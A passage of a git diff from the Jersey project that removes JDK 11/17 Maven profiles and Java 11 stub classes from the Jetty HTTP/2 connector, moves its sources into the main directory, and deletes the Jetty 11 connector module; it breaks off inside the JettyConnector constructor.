+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-jaxb</artifactId>
@@ -113,179 +140,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty.http2</groupId>
-                    <artifactId>jetty-http2-client</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty.http2</groupId>
-                    <artifactId>jetty-http2-client-transport</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty-http2</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
similarity index 96%
rename from connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
rename to connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 36556e0..04c3c76 100644
--- a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
similarity index 97%
rename from connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
rename to connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
index a602b0d..75acaba 100644
--- a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
similarity index 96%
rename from connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
rename to connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
index 02eaf5a..a14801f 100644
--- a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
deleted file mode 100644
index 7d203cc..0000000
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
- *
- * @since 2.41
- */
-public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
-    private final HttpClient http2Client;
-
-    /**
-     * default Http2Client created for the supplier.
-     */
-    public JettyHttp2ClientSupplier() {
-        this(createHttp2Client());
-    }
-    /**
-     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
-     * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client seed doc for JDK 11+.
-     */
-    public JettyHttp2ClientSupplier(HttpClient http2Client) {
-        this.http2Client = http2Client;
-    }
-
-    private static final HttpClient createHttp2Client() {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK lower than 17
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return http2Client;
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
deleted file mode 100644
index 301879c..0000000
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
- *
- * @since 2.41
- */
-public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK lower than 17
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
index 5fc8425..d583ea0 100644
--- a/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
+++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,5 +17,4 @@
 # {0} - HTTP method, e.g. GET, DELETE
 method.not.supported=Method {0} not supported.
 invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 17.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
\ No newline at end of file
diff --git a/connectors/jetty11-connector/pom.xml b/connectors/jetty11-connector/pom.xml
deleted file mode 100644
index 228aba7..0000000
--- a/connectors/jetty11-connector/pom.xml
+++ /dev/null
@@ -1,163 +0,0 @@
-<?xml version="1.0"?>
-<!--
-
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.connectors</groupId>
-        <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-jetty11-connector</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-connectors-jetty11</name>
-
-    <description>Jersey Client Transport via Jetty 11.x</description>
-
-    <properties>
-        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-    </properties>
-
-    <dependencyManagement>
-        <dependencies>
-<!--            <dependency>-->
-<!--                <groupId>org.eclipse.jetty</groupId>-->
-<!--                <artifactId>jetty-server</artifactId>-->
-<!--                <version>${jetty11.version}</version>-->
-<!--            </dependency>-->
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-client</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-client</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-
-        <dependency>
-            <groupId>org.slf4j</groupId>
-            <artifactId>slf4j-api</artifactId>
-            <version>${slf4j.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-jaxb</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-grizzly2-http</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-json-jackson</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.xml.bind</groupId>
-            <artifactId>jakarta.xml.bind-api</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>com.sun.xml.bind</groupId>
-            <artifactId>jaxb-osgi</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-enforcer-plugin</artifactId>
-                <configuration>
-                    <rulesToSkip>dependencyConvergence</rulesToSkip>
-                </configuration>
-            </plugin>
-        </plugins>
-    </build>
-</project>
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
deleted file mode 100644
index d99c918..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.Map;
-
-import org.glassfish.jersey.internal.util.PropertiesClass;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-
-/**
- * Configuration options specific to the Client API that utilizes {@link JettyConnectorProvider}.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-@PropertiesClass
-public final class JettyClientProperties {
-
-    /**
-     * Prevents instantiation.
-     */
-    private JettyClientProperties() {
-        throw new AssertionError("No instances allowed.");
-    }
-
-    /**
-     * A value of {@code false} indicates the client should handle cookies
-     * automatically using HttpClient's default cookie policy. A value
-     * of {@code false} will cause the client to ignore all cookies.
-     * <p/>
-     * The value MUST be an instance of {@link Boolean}.
-     * If the property is absent the default value is {@code false}
-     */
-    public static final String DISABLE_COOKIES =
-            "jersey.config.jetty11.client.disableCookies";
-
-    /**
-     * The credential provider that should be used to retrieve
-     * credentials from a user.
-     *
-     * If an {@link org.eclipse.jetty.client.api.Authentication} mechanism is found,
-     * it is then used for the given request, returning an {@link org.eclipse.jetty.client.api.Authentication.Result},
-     * which is then stored in the {@link org.eclipse.jetty.client.api.AuthenticationStore}
-     * so that subsequent requests can be preemptively authenticated.
-
-     * <p/>
-     * The value MUST be an instance of {@link
-     * org.eclipse.jetty.client.util.BasicAuthentication}.  If
-     * the property is absent a default provider will be used.
-     */
-    public static final String PREEMPTIVE_BASIC_AUTHENTICATION =
-            "jersey.config.jetty11.client.preemptiveBasicAuthentication";
-
-    /**
-     * A value of {@code false} indicates the client disable a hostname verification
-     * during SSL Handshake. A client will ignore CN value defined in a certificate
-     * that is stored in a truststore.
-     * <p/>
-     * The value MUST be an instance of {@link Boolean}.
-     * If the property is absent the default value is {@code true}.
-     */
-    public static final String ENABLE_SSL_HOSTNAME_VERIFICATION =
-            "jersey.config.jetty11.client.enableSslHostnameVerification";
-
-    /**
-     * Overrides the default Jetty synchronous listener response max buffer size.
-     * In practise, this allows you to read larger responses.
-     * Size in bytes.
-     * <p/>
-     * If the property is absent, the value is such as specified by Jetty (currently 2MiB).
-     */
-    public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE =
-        "jersey.config.jetty11.client.syncListenerResponseMaxSize";
-
-    /**
-     * Total timeout interval for request/response conversation, in milliseconds.
-     * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}.
-     * <p>
-     * The value MUST be an instance convertible to {@link Integer}. The
-     * value of zero (0) is equivalent to an interval of infinity.
-     * </p>
-     * <p>
-     * The default value is zero (infinity).
-     * </p>
-     * <p>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     * </p>
-     *
-     * @since 2.37
-     */
-    public static final String TOTAL_TIMEOUT = "jersey.config.jetty11.client.totalTimeout";
-
-    /**
-     * Get the value of the specified property.
-     *
-     * If the property is not set or the real value type is not compatible with the specified value type, returns {@code null}.
-     *
-     * @param properties  Map of properties to get the property value from.
-     * @param key         Name of the property.
-     * @param type        Type to retrieve the value as.
-     * @param <T>         Type of the property value.
-     * @return Value of the property or {@code null}.
-     *
-     * @since 2.8
-     */
-    public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) {
-        return PropertiesHelper.getValue(properties, key, type, null);
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
deleted file mode 100644
index 7565b4b..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ /dev/null
@@ -1,552 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.MultivaluedMap;
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.HttpProxy;
-import org.eclipse.jetty.client.ProxyConfiguration;
-import org.eclipse.jetty.client.api.AuthenticationStore;
-import org.eclipse.jetty.client.api.ContentProvider;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.api.Request;
-import org.eclipse.jetty.client.api.Response;
-import org.eclipse.jetty.client.api.Result;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.eclipse.jetty.client.util.BytesContentProvider;
-import org.eclipse.jetty.client.util.FutureResponseListener;
-import org.eclipse.jetty.client.util.OutputStreamContentProvider;
-import org.eclipse.jetty.http.HttpField;
-import org.eclipse.jetty.http.HttpFields;
-import org.eclipse.jetty.http.HttpHeader;
-import org.eclipse.jetty.io.ClientConnector;
-import org.eclipse.jetty.util.HttpCookieStore;
-import org.eclipse.jetty.util.Jetty;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.client.innate.ClientProxy;
-import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
-import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream;
-import org.glassfish.jersey.message.internal.HeaderUtils;
-import org.glassfish.jersey.message.internal.OutboundMessageContext;
-import org.glassfish.jersey.message.internal.Statuses;
-
-import javax.net.ssl.SSLContext;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.FilterInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.CookieStore;
-import java.net.URI;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.concurrent.CancellationException;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.Consumer;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-/**
- * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive
- * HTTP request and responses.
- * <p/>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
- * <li>{@link ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link ClientProperties#PROXY_URI}</li>
- * <li>{@link ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
- * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
- * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
- * </ul>
- * <p/>
- * This transport supports both synchronous and asynchronous processing of client requests.
- * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
- * <p/>
- * Typical usage:
- * <p/>
- * <pre>
- * {@code
- * ClientConfig config = new ClientConfig();
- * Connector connector = new Jetty11Connector(config);
- * config.connector(connector);
- * Client client = ClientBuilder.newClient(config);
- *
- * // async request
- * WebTarget target = client.target("http://localhost:8080");
- * Future<Response> future = target.path("resource").request().async().get();
- *
- * // wait for 3 seconds
- * Response response = future.get(3, TimeUnit.SECONDS);
- * String entity = response.readEntity(String.class);
- * client.close();
- * }
- * </pre>
- * <p>
- * This connector supports only {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
- * Defining the property {@link ClientProperties#REQUEST_ENTITY_PROCESSING} has no effect on this connector.
- * </p>
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class JettyConnector implements Connector {
-
-    private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
-
-    private final HttpClient client;
-    private final CookieStore cookieStore;
-    private final Configuration configuration;
-    private final Optional<Integer> syncListenerResponseMaxSize;
-
-    /**
-     * Create the new Jetty client connector.
-     *
-     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
-     * @param config client configuration.
-     */
-    public JettyConnector(final Client jaxrsClient, final Configuration config) {
-        this.configuration = config;
-        HttpClient httpClient = getRegisteredHttpClient(config);
-
-        if (httpClient == null) {
-            final SSLContext sslContext = jaxrsClient.getSslContext();
-            final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false);
-            sslContextFactory.setSslContext(sslContext);
-            final ClientConnector connector = new ClientConnector();
-            connector.setSslContextFactory(sslContextFactory);
-            final HttpClientTransport transport = initClientTransport(connector);
-            httpClient = new HttpClient(transport);
-        }
-        this.client = httpClient;
-
-        Boolean enableHostnameVerification = (Boolean) config.getProperties()
-                .get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION);
-        if (enableHostnameVerification != null) {
-            final String verificationAlgorithm = enableHostnameVerification ? "HTTPS" : null;
-            client.getSslContextFactory().setEndpointIdentificationAlgorithm(verificationAlgorithm);
-        }
-        if (jaxrsClient.getHostnameVerifier() != null) {
